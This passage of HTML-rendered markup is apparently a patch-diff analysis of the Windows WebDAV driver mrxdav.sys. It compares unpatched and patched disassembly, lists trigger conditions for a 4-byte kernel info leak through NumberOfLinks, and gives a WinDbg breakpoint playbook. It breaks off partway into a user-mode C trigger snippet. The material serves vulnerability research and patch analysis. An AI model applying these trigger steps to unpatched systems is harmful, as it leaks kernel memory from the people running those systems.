&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBC7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBCA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; DeletePending = 0 (bl was zeroed at entry)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBCD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Directory/reparse&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBD1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;E8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; reads FCB+0xE8 (not a link count)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBD7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; NumberOfLinks = returned to user&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBDA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C001EC80&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; return&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched counterpart&lt;/strong&gt; (&lt;code&gt;loc_1C001EBF9&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBF9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; AllocationSize.LowPart&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBFC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; NumberOfLinks = 1 (constant)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC03&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC06&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC09&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC0C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; output size = 24&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC10&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC13&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC16&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC19&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; real FCB delete state&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC1F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; mask bit 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC21&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; NumberOfLinks = 1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC28&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; DeletePending = real state&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EC2F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C001ECD5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Diff in one line:&lt;/strong&gt;
- &lt;code&gt;mov eax,[rsi+0E8h] ; mov [rdi+10h],eax&lt;/code&gt; → &lt;code&gt;mov ecx,1 ; mov [rdi+10h],ecx&lt;/code&gt;
- &lt;code&gt;mov byte [rdi+14h], bl&lt;/code&gt; (bl=0) → &lt;code&gt;mov al,[rsi+8Ch] ; and al,cl ; mov [rdi+14h],al&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Finding #2 — &lt;code&gt;DavReadWriteFileEx&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched&lt;/strong&gt; (entry &lt;code&gt;0x1C001B7C8&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001BA57&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;Flags |= IRP_NOCACHE (unconditional)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched&lt;/strong&gt; (entry &lt;code&gt;0x1C001B818&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001BAA8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; caller-supplied caching flag (a10)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001BAAF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; mask bit 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001BAB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;Flags |= (flag &amp;amp; 1)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Supporting changes:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MRxDAVCreate&lt;/code&gt; (patched) adds &lt;code&gt;call cs:__imp_RxDisableLocalBuffering&lt;/code&gt; at &lt;code&gt;0x1C0010753&lt;/code&gt;, with the FCB (&lt;code&gt;*(RX_CONTEXT + 0x38)&lt;/code&gt;) as argument; there is no such call in the unpatched build (the import is absent).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MRxDAVCreateContinuation&lt;/code&gt;: unpatched executes &lt;code&gt;or r8d, 8&lt;/code&gt; at &lt;code&gt;0x1C0012AB1&lt;/code&gt; (r8d = &lt;code&gt;*(arg2 + 0x20C)&lt;/code&gt;) before &lt;code&gt;ZwCreateFile&lt;/code&gt; at &lt;code&gt;0x1C0012B08&lt;/code&gt;; the patched build has no such OR before &lt;code&gt;ZwCreateFile&lt;/code&gt; at &lt;code&gt;0x1C0012B12&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MRxDAVReadContinuation&lt;/code&gt; / &lt;code&gt;MRxDAVWriteContinuation&lt;/code&gt; add the new &lt;code&gt;*(*(RX_CONTEXT + 0x28) + 0x10)&lt;/code&gt; argument to every &lt;code&gt;DavReadWriteFileEx&lt;/code&gt; call site; the Read stack frame grows &lt;code&gt;0x88 → 0x98&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Info disclosure&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Ensure the WebDAV client (&lt;code&gt;WebClient&lt;/code&gt;) service is running.&lt;/li&gt;
&lt;li&gt;Make a WebDAV file reachable via UNC (e.g. &lt;code&gt;\\server\DavWWWRoot\file.txt&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Open it with &lt;code&gt;CreateFileW(..., GENERIC_READ, ..., OPEN_EXISTING, ...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;NtQueryInformationFile(h, &amp;amp;iosb, &amp;amp;fsi, sizeof(fsi), FileStandardInformation)&lt;/code&gt; (or &lt;code&gt;GetFileInformationByHandle&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;fsi.NumberOfLinks&lt;/code&gt; — under the unpatched driver this DWORD is the value from FCB+&lt;code&gt;0xE8&lt;/code&gt; rather than a valid link count.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding #2 — Caching consistency change&lt;/h3&gt;
&lt;p&gt;The five-function change alters whether the backing local file is opened cached and whether IRPs carry &lt;code&gt;IRP_NOCACHE&lt;/code&gt;, together with whether RDBSS local buffering is disabled. No specific attacker-triggerable condition is demonstrated by the diff, so no trigger sequence is claimed here.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Finding #1:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Discloses the 4-byte contents of FCB+&lt;code&gt;0xE8&lt;/code&gt; to the caller once per query, in the &lt;code&gt;NumberOfLinks&lt;/code&gt; field.&lt;/li&gt;
&lt;li&gt;The disclosed bytes are whatever the driver left at that FCB offset; the diff does not establish that the offset contains any specific value or structure, so no further claim about the disclosed contents is made.&lt;/li&gt;
&lt;li&gt;The secondary &lt;code&gt;DeletePending&lt;/code&gt; change is a correctness fix (the unpatched build always reported "not pending deletion").&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Finding #2:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A caching-consistency correctness change. No exploit primitive, stale-read primitive, or cross-user disclosure is demonstrated by the diff.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Playbook&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Uninitialized &lt;code&gt;NumberOfLinks&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints (WinDbg/KD):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp mrxdav!MRxDAVQueryFileInformation                  ; entry 0x1C001E820, rcx = RX_CONTEXT
ba r4 &amp;lt;FCB+0xE8&amp;gt;                                       ; watch the source read, or:
bp 0x1C001EBD1                                         ; the read of FCB+0xE8 (unpatched)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;At the entry breakpoint (&lt;code&gt;0x1C001E820&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt; = arg1 = &lt;code&gt;RX_CONTEXT*&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;poi(@rcx+0x38)&lt;/code&gt; → FCB pointer (becomes &lt;code&gt;rsi&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;poi(@rcx+0x1b0)&lt;/code&gt; → file information class (must equal &lt;code&gt;5&lt;/code&gt; for &lt;code&gt;FileStandardInformation&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;poi(@rcx+0x1b8)&lt;/code&gt; → output buffer (becomes &lt;code&gt;rdi&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dwo(@rcx+0x1c8)&lt;/code&gt; → output buffer length (becomes &lt;code&gt;ebp&lt;/code&gt;; must be ≥ &lt;code&gt;0x18&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;At the read instruction (&lt;code&gt;0x1C001EBD1&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt; = FCB; &lt;code&gt;dd rsi+0xe8 L1&lt;/code&gt; — the value being returned as &lt;code&gt;NumberOfLinks&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt; = output buffer; after the next instruction (&lt;code&gt;0x1C001EBD7&lt;/code&gt;), &lt;code&gt;dd rdi+0x10 L1&lt;/code&gt; holds the returned value.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Key offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C001EB6F&lt;/code&gt; — &lt;code&gt;cmp ebp, 18h&lt;/code&gt; (output-buffer size check; must pass).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C001EBCA&lt;/code&gt; — &lt;code&gt;mov [rdi+14h], bl&lt;/code&gt; (the &lt;code&gt;DeletePending = 0&lt;/code&gt; bug).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C001EBD1&lt;/code&gt; — the read of FCB+&lt;code&gt;0xE8&lt;/code&gt; (removed by the patch).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C001EBFC&lt;/code&gt; (patched) — &lt;code&gt;mov ecx, 1&lt;/code&gt; (constant &lt;code&gt;NumberOfLinks&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C001EC19&lt;/code&gt; (patched) — &lt;code&gt;mov al, [rsi+8Ch]&lt;/code&gt; (real &lt;code&gt;DeletePending&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup from user mode (C):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;server&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;DavWWWRoot&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;file.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
